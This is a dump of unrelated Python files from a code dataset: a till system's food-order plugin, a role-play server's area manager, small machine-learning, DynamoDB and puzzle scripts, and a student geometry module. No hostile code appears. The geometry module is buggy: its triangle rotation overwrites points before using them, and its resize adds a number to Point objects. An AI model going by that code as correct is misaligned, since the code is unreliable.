ui.infopopup([\"Unable to connect to the server to read the menu.\"],\n title=\"Could not read menu\")\n return\n except requests.exceptions.ReadTimeout:\n ui.infopopup([\"The server did not send the menu quickly enough.\"],\n title=\"Could not read menu\")\n return\n self.menu = Menu(r.json(), allowable_departments)\n self.func = func\n self.transid = transid\n self.ordernumberfunc = ordernumberfunc\n self.h = 20\n self.w = 64\n kpprob = self._kitchenprinter_problem()\n rpprob = printer.driver.offline()\n if kpprob and rpprob:\n ui.infopopup(\n [\"Both the kitchen printer and receipt printer report \"\n \"problems. You will not be able to print a food order \"\n \"until these are fixed.\", \"\",\n f\"Kitchen printer problem: {kpprob}\",\n f\"Receipt printer problem: {rpprob}\"],\n title=\"Printer problems\")\n return\n super().__init__(self.h, self.w, title=self.menu.name,\n colour=ui.colour_input)\n self.win.bordertext(\"Clear: abandon order\", \"L<\")\n self.win.bordertext(\"Print: finish\", \"L^\")\n self.win.bordertext(\"Cancel: delete item\", \"L>\")\n # Split the top level menu into lines for display, and add the\n # options to the keymap\n menu = [(s.title, s.select, (self,)) for s in self.menu.sections]\n # If we have more options than keys, split them into a submenu.\n if len(self.menu.sections) > len(menu_keys):\n menu = menu[:len(menu_keys) - 1] + \\\n [(\"More...\", ui.automenu(menu[len(menu_keys) - 1:]))]\n menutext = ' '.join(f\"{key}: {i[0]}\" for key, i in zip(\n menu_keys, menu))\n for key, i in zip(menu_keys, menu):\n self.keymap[key] = i[1:]\n menuheight = self.win.wrapstr(\n 0, 0, self.w - 4, menutext, display=False)\n self.win.wrapstr(self.h - menuheight - 1, 2, self.w - 4, menutext)\n self.ml = [] # list of chosen items\n self.order = ui.scrollable(\n 2, 2, self.w - 4, self.h - menuheight - 4, self.ml,\n lastline=ui.emptyline())\n self.order.focus()\n if kpprob:\n ui.infopopup(\n [\"The kitchen printer might not be connected or \"\n \"turned on. Please check it!\", \"\",\n \"You can continue anyway if you like; if the kitchen \"\n \"printer isn't working when you try to print the \"\n \"order then their copy will be printed on the \"\n \"receipt printer.\", \"\",\n f\"The kitchen printer says: {kpprob}\"],\n title=\"No connection to kitchen printer\")\n if rpprob:\n ui.infopopup(\n [\"The receipt printer is reporting a problem. Please fix it \"\n \"before trying to print the order.\", \"\",\n f\"The problem is: {rpprob}\"],\n title=\"Receipt printer problem\")\n\n def insert_item(self, item):\n self.unsaved_data = \"food order\"\n self.ml.insert(self.order.cursor, item)\n self.order.cursor_down()\n self.order.redraw()\n\n def duplicate_item(self):\n if len(self.ml) == 0:\n return\n if self.order.cursor >= len(self.ml):\n self.insert_item(self.ml[-1].copy())\n else:\n self.insert_item(self.ml[self.order.cursor].copy())\n\n def edit_item(self):\n if len(self.ml) == 0:\n return\n if self.order.cursor_at_end():\n return\n self.ml[self.order.cursor].edit(self.update_item)\n\n def update_item(self, item):\n self.order.redraw()\n\n def delete_item(self):\n \"\"\"Delete the item under the cursor.\n\n If there is no item under the cursor, delete the last item.\n The cursor stays in the same place.\n \"\"\"\n if len(self.ml) == 0:\n return # Nothing to delete\n if self.order.cursor_at_end():\n self.ml.pop()\n self.order.cursor_up()\n else:\n del self.ml[self.order.cursor]\n self.order.redraw()\n\n def printkey(self):\n if len(self.ml) == 0:\n ui.infopopup([\"You haven't entered an order yet!\"], title=\"Error\")\n return\n tablenumber(self.finish)\n\n def finish(self, tablenumber):\n # Check on the printer before we do any work...\n rpprob = printer.driver.offline()\n if rpprob:\n ui.infopopup(\n [\"The receipt printer is reporting a problem. Please fix it \"\n \"before trying to print the order.\", \"\",\n f\"The problem is: {rpprob}\"],\n title=\"Receipt printer problem\")\n return\n number = self.ordernumberfunc()\n # We need to prepare a list of (dept, text, items, amount)\n # tuples for the register. We enter these into the register\n # before printing, so that we can avoid printing if there is a\n # register problem.\n rl = [(x.dish.department, x.ltext, 1, x.price) for x in self.ml]\n if tablenumber:\n rl.insert(0, (self.message_department,\n f\"Food order {number} (table {tablenumber}):\",\n 1, zero))\n else:\n rl.insert(0, (self.message_department,\n f\"Food order {number}:\", 1, zero))\n # Return values: True=success; string or None=failure\n r = self.func(rl)\n\n # If r is None then a window will have been popped up telling the\n # user what's happened to their transaction. It will have popped\n # up on top of us; we can't do anything else at this point other than\n # exit and let the user try again.\n if r == None:\n return\n self.dismiss()\n if r == True:\n user = ui.current_user()\n with ui.exception_guard(\"printing the customer copy\"):\n print_food_order(printer.driver, number, self.ml,\n verbose=True, tablenumber=tablenumber,\n footer=self.menu.footer, transid=self.transid)\n try:\n for kp in self.kitchenprinters:\n print_food_order(\n kp, number, self.ml,\n verbose=False, tablenumber=tablenumber,\n footer=self.menu.footer, transid=self.transid,\n user=user.shortname)\n except Exception:\n e = traceback.format_exception_only(\n sys.exc_info()[0], sys.exc_info()[1])\n try:\n print_food_order(\n printer.driver, number, self.ml,\n verbose=False, tablenumber=tablenumber,\n footer=self.menu.footer, transid=self.transid,\n user=user.shortname)\n except Exception:\n pass\n ui.infopopup(\n [\"There was a problem sending the order to the \"\n \"printer in the kitchen, so the kitchen copy has been \"\n \"printed here. You must now take it to the kitchen \"\n \"so that they can make it. Check that the printer \"\n \"in the kitchen has paper, is turned on, and is plugged \"\n \"in to the network.\", \"\", \"The error message from the \"\n \"printer is:\"] + e, title=\"Kitchen printer error\")\n return\n else:\n if r:\n ui.infopopup([r], title=\"Error\")\n\n def _kitchenprinter_problem(self):\n for kp in self.kitchenprinters:\n x = kp.offline()\n if x:\n return x\n\n def keypress(self, k):\n if k == keyboard.K_CLEAR:\n # Maybe ask for confirmation?\n self.dismiss()\n elif k == keyboard.K_CANCEL:\n self.delete_item()\n elif k == keyboard.K_QUANTITY:\n self.duplicate_item()\n elif k == keyboard.K_PRINT:\n self.printkey()\n elif k == keyboard.K_CASH:\n self.edit_item()\n else:\n super().keypress(k)\n\n\nclass message(user.permission_checked, ui.dismisspopup):\n \"\"\"Send a printed message to the kitchen.\n \"\"\"\n permission_required = ('kitchen-message', 'Send a message to the kitchen')\n\n def __init__(self, kitchenprinters):\n self.kitchenprinters = kitchenprinters\n problem = self._kitchenprinter_problem()\n if problem:\n ui.infopopup([\"There is a problem with the kitchen printer:\", \"\",\n problem], title=\"Kitchen printer problem\")\n return\n super().__init__(6, 78, title=\"Message to kitchen\",\n colour=ui.colour_input)\n self.win.drawstr(2, 2, 14, \"Order number: \", align=\">\")\n self.onfield = ui.editfield(2, 16, 5, keymap={\n keyboard.K_CLEAR: (self.dismiss, None)})\n self.win.drawstr(2, 23, 14, \"(may be blank)\")\n self.win.drawstr(3, 2, 14, \"Message: \", align=\">\")\n self.messagefield = ui.editfield(\n 3, 16, 60, flen=160,\n keymap={keyboard.K_CASH: (self.finish, None)})\n ui.map_fieldlist([self.onfield, self.messagefield])\n self.onfield.focus()\n self.unsaved_data = \"message to kitchen\"\n\n def _kitchenprinter_problem(self):\n for kp in self.kitchenprinters:\n x = kp.offline()\n if x:\n return x\n\n def finish(self):\n if not self.onfield.f and not self.messagefield.f:\n return\n problem = self._kitchenprinter_problem()\n if problem:\n ui.infopopup([\"There is a problem with the kitchen printer:\", \"\",\n problem], title=\"Kitchen printer problem\")\n return\n self.dismiss()\n with ui.exception_guard(\"printing the message in the kitchen\"):\n for kp in self.kitchenprinters:\n with kp as d:\n if self.onfield.f:\n d.printline(\n f\"\\tMessage about order {self.onfield.f}\",\n colour=1, emph=1)\n else:\n d.printline(\"\\tMessage\", colour=1, emph=1)\n d.printline()\n d.printline(f\"\\t{ui.formattime(datetime.datetime.now())}\")\n d.printline()\n user = ui.current_user()\n if user:\n d.printline(f\"\\t{user.shortname}\")\n d.printline()\n if self.messagefield.f:\n d.printline(f\"\\t{self.messagefield.f}\")\n d.printline()\n d.printline()\n ui.infopopup([\"The message has been printed in the kitchen.\"],\n title=\"Message sent\",\n colour=ui.colour_info, dismiss=keyboard.K_CASH)\n if self.onfield.f:\n userlog(f\"Message sent to kitchen about table \"\n f\"{self.onfield.f}: {self.messagefield.f}\")\n else:\n userlog(f\"Message sent to kitchen: {self.messagefield.f}\")\n\n\nclass FoodOrderPlugin(register.RegisterPlugin):\n \"\"\"Create an instance of this plugin to enable food ordering\n\n printers is a list of printers to be treated as printing the\n \"kitchen copy\" of food orders. The local receipt printer will\n always be used for the customer copy.\n\n message_department is the department number to use for zero-price\n message transaction lines, eg. the one stating the order number\n and table number.\n\n allowable_departments, if set, is a list of departments that are\n permitted in food orders; dishes with other departments will be\n filtered out of the menu when it is loaded.\n \"\"\"\n def __init__(self, menuurl=None, printers=[],\n order_key=None, message_key=None,\n message_department=None, allowable_departments=None):\n self._menuurl = menuurl\n self._printers = printers\n self._order_key = order_key\n self._message_key = message_key\n self._message_department = message_department\n self._allowable_departments = allowable_departments\n if not menuurl:\n raise Exception(\"FoodOrderPlugin: you must specify menuurl\")\n if message_department is None:\n raise Exception(\"FoodOrderPlugin: you must specify \"\n \"message_department\")\n for p in printers:\n lockscreen.CheckPrinter(\"Kitchen printer\", p)\n\n def keypress(self, reg, k):\n if k == self._order_key:\n trans = reg.get_open_trans()\n if trans:\n if reg.transaction_locked:\n reg.transaction_lock_popup()\n else:\n popup(reg.deptlines, trans.id, self._menuurl,\n self._printers, self._message_department,\n self._allowable_departments)\n return True\n elif k == self._message_key:\n message(self._printers)\n return True\n","repo_name":"sde1000/quicktill","sub_path":"quicktill/jsonfoodorder.py","file_name":"jsonfoodorder.py","file_ext":"py","file_size_in_byte":28771,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"61"} +{"seq_id":"72628011074","text":"from math import sqrt\n\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n\nclass circle:\n def __init__(self, radius, center=Point(0, 0)):\n self.radius = radius\n self.center = center\n\n def makeItBig(self, num):\n # Small\n self.radius += num\n\n\nclass triangle:\n def __init__(self, a: Point, b: Point, c: Point):\n self.a = a\n self.b = b\n self.c = c\n\n self.ab = sqrt((a.x - b.x) ** 2 + (a.y - b.y) ** 2)\n self.ac = sqrt((a.x - c.x) ** 2 + (a.y - c.y) ** 2)\n self.bc = sqrt((c.x - b.x) ** 2 + (c.y - b.y) ** 2)\n\n def makeItBig(self, num):\n # Small\n self.a += num\n self.b += num\n self.c += num\n\n def rotate(self, num):\n if num % 3 == 1:\n self.a = self.c\n self.b = self.a\n self.c = self.b\n elif num % 3 == 2:\n self.a = self.b\n self.b = self.c\n self.c = self.a\n elif num % 3 == 0:\n return\n","repo_name":"EmeraldGames3/Python","sub_path":"S7/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22997153155","text":"import sys, csv, boto3\r\n\r\n\"\"\"\r\nUploads data to DynamoDB\r\n\"\"\"\r\n\r\nif len(sys.argv) < 2:\r\n raise Exception('Missing TableName Argument!')\r\ntable_name = str(sys.argv[1])\r\n\r\n\r\ndynamodb = boto3.resource('dynamodb')\r\ntable = dynamodb.Table(table_name)\r\ntry:\r\n str(table.creation_date_time)\r\nexcept Exception as e:\r\n print(e)\r\n\r\nwith open('data.csv', 'r') as f:\r\n reader = csv.reader(f, delimiter=';')\r\n headers = reader.__next__()\r\n with table.batch_writer() as dbwriter:\r\n for row in reader:\r\n dbwriter.put_item(\r\n Item={\r\n headers[0] : row[0],\r\n headers[1] : row[1],\r\n headers[2] : row[2],\r\n headers[3] : row[3],\r\n headers[4] : row[4],\r\n headers[5] : row[5],\r\n headers[6] : row[6],\r\n headers[7] : row[7],\r\n headers[8] : row[8],\r\n headers[9] : row[9],\r\n })\r\n","repo_name":"GoldenRed/incognitorevealation","sub_path":"data/uploadData.py","file_name":"uploadData.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16092006606","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n__date__ = '2018/6/5 21:29'\n__author__ = 'ooo'\n\nfrom Models.fpnet import FPNet\nfrom Models.lscnet import LSCNet, NoneNet\n\n\ndef fusionnet(method, levels, stages, indepth, outdepth, strides, shapes):\n \"\"\"\n :param method:\n :param levels:\n :param indepth:\n :param outdepth:\n :param strides:\n :param shapes:\n :param stages: which to choose in [C1, C2, C3, C4, C5, C6]\n :return:\n \"\"\"\n if not isinstance(stages, (list, tuple)):\n stages = [stages]\n stages = [int(s[1]) - 1 for s in stages]\n if method == 'fpn':\n # [P2,P3,P4,P5,P6], P6 is upsampled form P5\n assert len(stages) == levels, '输入特征级数与指定的FUSION_LEVELS不匹配!'\n net = FPNet(indepth=indepth, outdepth=outdepth, stages=stages)\n\n elif method == 'lsc':\n net = LSCNet(indepth=indepth, outdepth=outdepth, stages=stages, kernel=16)\n\n elif method == 'none':\n net = NoneNet(indepth=indepth, outdepth=outdepth, stages=stages)\n\n else:\n raise ValueError('未知的参数设定!Unknown feature FUSION_METHOD!%s' % method)\n\n return net\n","repo_name":"zhjpqq/AnchorsAnalysis","sub_path":"Models/fusionnet.py","file_name":"fusionnet.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41591315544","text":"import time\nfrom PIL import Image\nfrom predictretinanet import predict_retinanet\n\ndef predict_people_retinanet(paths: list or str or Image.Image, outdir: str=None):\n\n if isinstance(paths, str) or isinstance(paths, Image.Image):\n paths = [paths]\n\n imgs_tagged = []\n for file_path in paths:\n\n start = time.time()\n people_detections = predict_retinanet(file_path, model=None, classes=['person'], outdir=outdir)\n end_time = time.time() - start\n\n n_people = len(people_detections[0][1])\n\n img_tagged, boxes = people_detections[0]\n\n imgs_tagged.append((file_path, img_tagged, boxes, n_people, end_time))\n return imgs_tagged\n","repo_name":"Escabias/AIr-port-CV","sub_path":"RetinaNet/peopledetectionretinanet.py","file_name":"peopledetectionretinanet.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23560027711","text":"def last_tidy_number(n):\r\n\ttidy = []\r\n\twhile n > 0:\r\n\t\ttidy.insert(0, str(n % 10))\r\n\t\tn //= 10\r\n\r\n\ti = len(tidy) - 1\r\n\twhile i > 0:\r\n\t\tlast = int(tidy[i])\r\n\t\tfirst = int(tidy[i-1])\r\n\r\n\t\tif first > last:\r\n\t\t\tj = i\r\n\t\t\twhile j < len(tidy):\r\n\t\t\t\tif tidy[j] == \"9\":\r\n\t\t\t\t\tbreak\r\n\t\t\t\ttidy[j] = \"9\"\r\n\t\t\t\tj += 1\r\n\t\t\ttidy[i-1] = str(first - 1)\r\n\r\n\t\ti -= 1\r\n\treturn int(\"\".join(tidy))\r\n\r\nt = int(input())\r\nfor i in range(1, t + 1):\r\n\tn = input()\r\n\tprint(\"Case #{}: {}\".format(i, last_tidy_number(n)))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/3919.py","file_name":"3919.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31642918065","text":"import asyncio\nimport time\n\nfrom server import logger\nfrom server.constants import Constants\nfrom server.exceptions import AreaError, ServerError\nfrom server.evidence import EvidenceList\n\nclass AreaManager:\n \"\"\"\n Create a new manager for the areas in a server.\n Contains the Area object definition, as well as the server's area list.\n \"\"\"\n\n class Area:\n \"\"\"\n Create a new area for the server.\n \"\"\"\n\n def __init__(self, area_id, server, parameters):\n \"\"\"\n Parameters\n ----------\n area_id: int\n The area ID.\n server: server.TsuserverDR\n The server this area belongs to.\n parameters: dict\n Area parameters as specified in the loaded area list.\n \"\"\"\n\n self.clients = set()\n self.invite_list = {}\n self.id = area_id\n self.server = server\n self.music_looper = None\n self.next_message_time = 0\n self.hp_def = 10\n self.hp_pro = 10\n self.doc = 'No document.'\n self.status = 'IDLE'\n self.judgelog = []\n self.shoutlog = []\n self.current_music = ''\n self.current_music_player = ''\n self.evi_list = EvidenceList()\n self.is_recording = False\n self.recorded_messages = []\n self.owned = False\n self.ic_lock = False\n self.is_locked = False\n self.is_gmlocked = False\n self.is_modlocked = False\n self.bleeds_to = set()\n self.blood_smeared = False\n self.lights = True\n self.last_ic_messages = list()\n self.parties = set()\n self.dicelog = list()\n self._in_zone = None\n\n self.name = parameters['area']\n self.background = parameters['background']\n self.bg_lock = parameters['bglock']\n self.evidence_mod = parameters['evidence_mod']\n self.locking_allowed = parameters['locking_allowed']\n self.iniswap_allowed = parameters['iniswap_allowed']\n self.rp_getarea_allowed = parameters['rp_getarea_allowed']\n self.rp_getareas_allowed = parameters['rp_getareas_allowed']\n self.rollp_allowed = parameters['rollp_allowed']\n self.reachable_areas = parameters['reachable_areas']\n self.change_reachability_allowed = parameters['change_reachability_allowed']\n self.default_change_reachability_allowed = parameters['change_reachability_allowed']\n self.gm_iclock_allowed = parameters['gm_iclock_allowed']\n self.afk_delay = parameters['afk_delay']\n self.afk_sendto = parameters['afk_sendto']\n self.lobby_area = parameters['lobby_area']\n self.private_area = parameters['private_area']\n self.scream_range = parameters['scream_range']\n self.restricted_chars = parameters['restricted_chars']\n self.default_description = parameters['default_description']\n self.has_lights = parameters['has_lights']\n self.cbg_allowed = parameters['cbg_allowed']\n self.song_switch_allowed = parameters['song_switch_allowed']\n self.bullet = parameters['bullet']\n\n # Store the current description separately from the default description\n self.description = self.default_description\n # Have a background backup in order to restore temporary background changes\n self.background_backup = self.background\n # Fix comma-separated entries\n self.reachable_areas = Constants.fix_and_setify(self.reachable_areas)\n self.scream_range = Constants.fix_and_setify(self.scream_range)\n self.restricted_chars = Constants.fix_and_setify(self.restricted_chars)\n\n self.default_reachable_areas = self.reachable_areas.copy()\n self.staffset_reachable_areas = self.reachable_areas.copy()\n\n if '' not in self.reachable_areas:\n self.reachable_areas.add(self.name) # Safety feature, yay sets\n\n # Make sure only characters that exist are part of the restricted char set\n try:\n for char_name in self.restricted_chars:\n self.server.char_list.index(char_name)\n except ValueError:\n info = ('Area `{}` has a character `{}` not in the character list of the server '\n 'listed as a restricted character. Please make sure this character exists '\n 'and try again.'\n .format(self.name, char_name))\n raise AreaError(info)\n\n def new_client(self, client):\n \"\"\"\n Add a client to the client list of the current area.\n\n Parameters\n ----------\n client: server.ClientManager.Client\n Client to add.\n \"\"\"\n\n self.clients.add(client)\n\n def remove_client(self, client):\n \"\"\"\n Remove a client of the client list of the current area.\n\n Parameters\n ----------\n client: server.ClientManager.Client\n Client to remove.\n\n\n Raises\n ------\n KeyError\n If the client is not in the area list.\n \"\"\"\n\n try:\n self.clients.remove(client)\n except KeyError:\n if not client.id == -1: # Ignore pre-clients (before getting playercount)\n info = 'Area {} does not contain client {}'.format(self, client)\n raise KeyError(info)\n\n if not self.clients:\n self.unlock()\n\n def send_command(self, cmd, *args):\n \"\"\"\n Send a network packet to all clients in the area.\n\n Parameters\n ----------\n cmd: str\n ID of the packet.\n *args\n Packet arguments.\n \"\"\"\n\n for c in self.clients:\n c.send_command(cmd, *args)\n\n def broadcast_ooc(self, msg):\n \"\"\"\n Send an OOC server message to the clients in the area.\n\n Parameters\n ----------\n msg: str\n Message to be sent.\n \"\"\"\n\n self.send_command('CT', self.server.config['hostname'], msg)\n\n def change_background(self, bg, validate=True, override_blind=False):\n \"\"\"\n Change the background of the current area.\n\n Parameters\n ----------\n bg: str\n New background name.\n validate: bool, optional\n Whether to first determine if background name is listed as a server background\n before changing. Defaults to True.\n override_blind: bool, optional\n Whether to send the intended background to blind people as opposed to the server\n blackout one. Defaults to False (send blackout).\n\n Raises\n ------\n AreaError\n If the server attempted to validate the background name and failed.\n \"\"\"\n\n if validate and bg.lower() not in [name.lower() for name in self.server.backgrounds]:\n raise AreaError('Invalid background name.')\n\n if self.lights:\n self.background = bg\n else:\n self.background = self.server.config['blackout_background']\n self.background_backup = bg\n for c in self.clients:\n if c.is_blind and not override_blind:\n c.send_background(name=self.server.config['blackout_background'])\n else:\n c.send_background(name=self.background)\n\n def get_chars_unusable(self, allow_restricted=False, more_unavail_chars=None):\n \"\"\"\n Obtain all characters that a player in the current area may NOT change to.\n\n Parameters\n ----------\n allow_restricted: bool, optional\n Whether to include characters whose usage has been manually restricted in the area.\n Defaults to False.\n more_unavail_chars: set, optional\n Additional characters to mark as taken (and thus unusuable) in the area. Defaults\n to None.\n\n Returns\n -------\n unavailable: set\n Character IDs of all unavailable characters in the area.\n \"\"\"\n\n if more_unavail_chars is None:\n more_unavail_chars = set()\n\n unavailable = {x.char_id for x in self.clients if x.char_id is not None\n and x.char_id >= 0}\n unavailable |= more_unavail_chars\n restricted = {self.server.char_list.index(name) for name in self.restricted_chars}\n\n if not allow_restricted:\n unavailable |= restricted\n\n return unavailable\n\n def get_rand_avail_char_id(self, allow_restricted=False,\n more_unavail_chars=None):\n \"\"\"\n Obtain a random available character in the area.\n\n Parameters\n ----------\n allow_restricted: bool, optional\n Whether to include characters whose usage has been manually restricted in the area.\n Defaults to false.\n more_unavail_chars: set, optional\n Additional characters to mark as taken (and thus unsuable) in the area. Defaults to\n None.\n\n Returns\n -------\n int\n ID of randomly chosen available character in the area.\n\n Raises\n -------\n AreaError\n If there are no available characters in the area.\n \"\"\"\n\n unusable = self.get_chars_unusable(allow_restricted=allow_restricted,\n more_unavail_chars=more_unavail_chars)\n available = {i for i in range(len(self.server.char_list)) if i not in unusable}\n\n if not available:\n raise AreaError('No available characters.')\n\n return self.server.random.choice(tuple(available))\n\n def is_char_available(self, char_id, allow_restricted=False, more_unavail_chars=None):\n \"\"\"\n Decide whether a character can be selected in the current area.\n\n Parameters\n ----------\n char_id: int\n ID of the character to test.\n allow_restricted: bool, optional\n Whether to include characters whose usage has been manually restricted in the area.\n Defaults to False.\n more_unavail_chars: set, optional\n Additional characters to mark as taken in the area. Defaults to None.\n\n Returns\n -------\n bool\n True if tested character ID is the spectator ID (which is always available), or\n is not found to be among the area's unusable characters.\n \"\"\"\n\n unused = char_id in self.get_chars_unusable(allow_restricted=allow_restricted,\n more_unavail_chars=more_unavail_chars)\n return char_id == -1 or not unused\n\n def add_to_dicelog(self, client, msg):\n \"\"\"\n Add a dice roll to the dice log of the area.\n\n Parameters\n ----------\n client: server.ClientManager.Client\n Client to record.\n msg: str\n Dice log to record.\n \"\"\"\n\n if len(self.dicelog) >= 20:\n self.dicelog = self.dicelog[1:]\n\n info = '{} | [{}] {} ({}) {}'.format(Constants.get_time(), client.id,\n client.displayname, client.get_ip(), msg)\n self.dicelog.append(info)\n\n def get_dicelog(self):\n \"\"\"\n Return the dice log of the area.\n \"\"\"\n\n info = '== Dice log of area {} ({}) =='.format(self.name, self.id)\n\n if not self.dicelog:\n info += '\\r\\nNo dice have been rolled since the area was loaded.'\n else:\n for log in self.dicelog:\n info += '\\r\\n*{}'.format(log)\n return info\n\n def change_doc(self, doc='No document.'):\n \"\"\"\n Changes the casing document of the area, usually a URL.\n\n Parameters\n ----------\n doc: str, optional\n New casing document of the area. Defaults to 'No document.'\n \"\"\"\n self.doc = doc\n\n def get_evidence_list(self, client):\n \"\"\"\n Obtain the evidence list for a client.\n\n Parameters\n ----------\n client: server.ClientManager.Client\n Client to target.\n \"\"\"\n\n client.evi_list, evi_list = self.evi_list.create_evi_list(client)\n return evi_list\n\n def broadcast_evidence_list(self):\n \"\"\"\n Resend all clients in the area their evidence list.\n\n Packet format: LE#&&#\n \"\"\"\n\n for client in self.clients:\n client.send_command('LE', *self.get_evidence_list(client))\n\n def change_hp(self, side, val):\n \"\"\"\n Change a penalty healthbar.\n\n Parameters\n ----------\n side: int\n Penalty bar to change (1 for def, 2 for pro).\n val: int\n New health value of the penalty bar.\n\n Raises\n ------\n AreaError\n If an invalid penalty bar or health value was given.\n \"\"\"\n if not 0 <= val <= 10:\n raise AreaError('Invalid penalty value.')\n if not 1 <= side <= 2:\n raise AreaError('Invalid penalty side.')\n\n if side == 1:\n self.hp_def = val\n elif side == 2:\n self.hp_pro = val\n\n self.send_command('HP', side, val)\n\n def is_iniswap(self, client, anim1, anim2, char):\n \"\"\"\n Decide if a client is iniswapping or using files outside their claimed character folder.\n\n Assumes that server permitted iniswaps do not count as iniswaps.\n\n Parameters\n ----------\n client: server.ClientManager.Client\n Client to test.\n anim1: str\n Location of the preanimation the client used.\n anim2: str\n Location of the main animation the client used.\n char: str\n Name of the folder the client claims their files are.\n\n Returns\n -------\n bool\n True if either anim1 or anim2 point to an external location through '../../' or\n their claimed character folder does not match the expected server name and the\n performed iniswap is not in the list of allowed iniswaps by the server.\n \"\"\"\n\n if char == client.get_char_name():\n return False\n\n if '..' in anim1 or '..' in anim2:\n return True\n for char_link in self.server.allowed_iniswaps:\n if client.get_char_name() in char_link and char in char_link:\n return False\n return True\n\n def add_to_judgelog(self, client, msg):\n \"\"\"\n Add a judge action to the judge log of the area.\n\n Parameters\n ----------\n client: server.ClientManager.Client\n Client to record.\n msg: str\n Judge action to record.\n \"\"\"\n\n if len(self.judgelog) >= 20:\n self.judgelog = self.judgelog[1:]\n\n info = '{} | [{}] {} ({}) {}'.format(Constants.get_time(), client.id,\n client.displayname, client.get_ip(), msg)\n self.judgelog.append(info)\n\n def get_judgelog(self):\n \"\"\"\n Return the judge log of the area.\n \"\"\"\n\n info = '== Judge log of {} ({}) =='.format(self.name, self.id)\n\n if not self.judgelog:\n info += '\\r\\nNo judge actions have been performed since the area was loaded.'\n else:\n for log in self.judgelog:\n info += '\\r\\n*{}'.format(log)\n return info\n\n def change_lights(self, new_lights, initiator=None, area=None):\n \"\"\"\n Change the light status of the area and send related announcements.\n\n This also updates the light status for parties.\n\n Parameters\n ----------\n new_lights: bool\n New light status\n initiator: server.ClientManager.Client, optional\n Client who triggered the light status change.\n area: server.AreaManager.Area, optional\n Broadcasts light change messages to chosen area. Used if\n the initiator is elsewhere, such as in /zone_lights.\n If not None, the initiator will receive no notifications of\n light status changes.\n\n Raises\n ------\n AreaError\n If the new light status matches the current one.\n \"\"\"\n\n status = {True: 'on', False: 'off'}\n if self.lights == new_lights:\n raise AreaError('The lights are already turned {}.'.format(status[new_lights]))\n\n # Change background to match new status\n if new_lights:\n if self.background == self.server.config['blackout_background']:\n intended_background = self.background_backup\n else:\n intended_background = self.background\n else:\n if self.background != self.server.config['blackout_background']:\n self.background_backup = self.background\n intended_background = self.background\n\n self.lights = new_lights\n self.change_background(intended_background, validate=False) # Allow restoring custom bg.\n\n # Announce light status change\n if initiator: # If a player initiated the change light sequence, send targeted messages\n if area is None:\n if not initiator.is_blind:\n initiator.send_ooc('You turned the lights {}.'.format(status[new_lights]))\n elif not initiator.is_deaf:\n initiator.send_ooc('You hear a flicker.')\n else:\n initiator.send_ooc('You feel a light switch was flipped.')\n\n initiator.send_ooc_others('The lights were turned {}.'.format(status[new_lights]),\n is_zstaff_flex=False, in_area=area if area else True, to_blind=False)\n initiator.send_ooc_others('You hear a flicker.', is_zstaff_flex=False, in_area=area if area else True,\n to_blind=True, to_deaf=False)\n initiator.send_ooc_others('(X) {} [{}] turned the lights {}.'\n .format(initiator.displayname, initiator.id,\n status[new_lights]),\n is_zstaff_flex=True, in_area=area if area else True)\n else: # Otherwise, send generic message\n self.broadcast_ooc('The lights were turned {}.'.format(status[new_lights]))\n\n # Notify the parties in the area that the lights have changed\n for party in self.parties:\n party.check_lights()\n\n for c in self.clients:\n c.area_changer.notify_me_blood(self, changed_visibility=True, changed_hearing=False)\n\n def set_next_msg_delay(self, msg_length):\n \"\"\"\n Set a message delay for the next IC message in the area based on the length of the\n current message, so new messages sent before this delay expires are discarded.\n\n Parameters\n ----------\n msg_length: int\n Length of the current message.\n \"\"\"\n\n delay = min(3000, 100 + 60 * msg_length)\n self.next_message_time = round(time.time() * 1000.0 + delay)\n\n def can_send_message(self):\n \"\"\"\n Decide if an incoming IC message does not violate the area's established delay for\n the previously received IC message.\n\n Returns\n -------\n bool\n True if the message was sent after the delay was over.\n \"\"\"\n\n return (time.time() * 1000.0 - self.next_message_time) > 0\n\n def play_track(self, name, client, raise_if_not_found=False, reveal_sneaked=False,\n pargs=None):\n \"\"\"\n Wrapper function to play a music track in an area.\n\n Parameters\n ----------\n name : str\n Name of the track to play\n client : ClientManager.Client\n Client who initiated the track change request.\n effect : int, optional\n Accompanying effect to the track (only used by AO 2.8.4+). Defaults to 0.\n raise_if_not_found : boolean, optional\n If True, it will raise ServerError if the track name is not in the server's music\n list nor the client's music list. If False, it will not care about it. Defaults to\n False.\n reveal_sneaked : boolean, optional\n If True, it will change the visibility status of the sender client to True (reveal\n them). If False, it will keep their visibility as it was. Defaults to False.\n pargs : dict of str to Any\n If given, they are arguments to an MC packet that was given when the track was\n requested, and will override any other arguments given. If not, this is ignored.\n Defaults to None (and converted to an empty dictionary).\n\n Raises\n ------\n ServerError.MusicNotFoundError:\n If `name` is not a music track in the server or client's music list and\n `raise_if_not_found` is True.\n \"\"\"\n\n if not pargs:\n pargs = dict()\n\n try:\n name, length = self.server.get_song_data(name, c=client)\n except ServerError.MusicNotFoundError:\n if raise_if_not_found:\n raise\n name, length = name, -1\n\n if 'name' not in pargs:\n pargs['name'] = name\n if 'cid' not in pargs:\n pargs['cid'] = client.char_id\n # if 'showname' not in pargs:\n # pargs['showname'] = client.displayname\n pargs['showname'] = client.displayname # Ignore AO shownames\n if 'loop' not in pargs:\n pargs['loop'] = -1\n if 'channel' not in pargs:\n pargs['channel'] = 0\n if 'effects' not in pargs:\n pargs['effects'] = 0\n\n # self.play_music(name, client.char_id, length, effect=effect)\n def loop(cid):\n for client in self.clients:\n loop_pargs = pargs.copy()\n loop_pargs['cid'] = cid # Overwrite in case cid changed (e.g., server looping)\n 